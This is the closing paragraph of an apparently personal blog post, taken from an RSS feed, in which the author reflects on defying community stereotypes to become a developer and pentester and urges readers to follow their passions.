<p>This transformative journey taught me a vital lesson: one should never allow others to determine their life's path. Had I succumbed to the stereotypical mindset prevalent in my community, I wouldn't be where I am today—a developer and pentester. My story serves as a testament to the importance of following your passion, regardless of societal expectations. It's a reminder that breaking stereotypes and pursuing your dreams can lead to a fulfilling and extraordinary life journey.</p>
]]></content:encoded></item></channel></rss>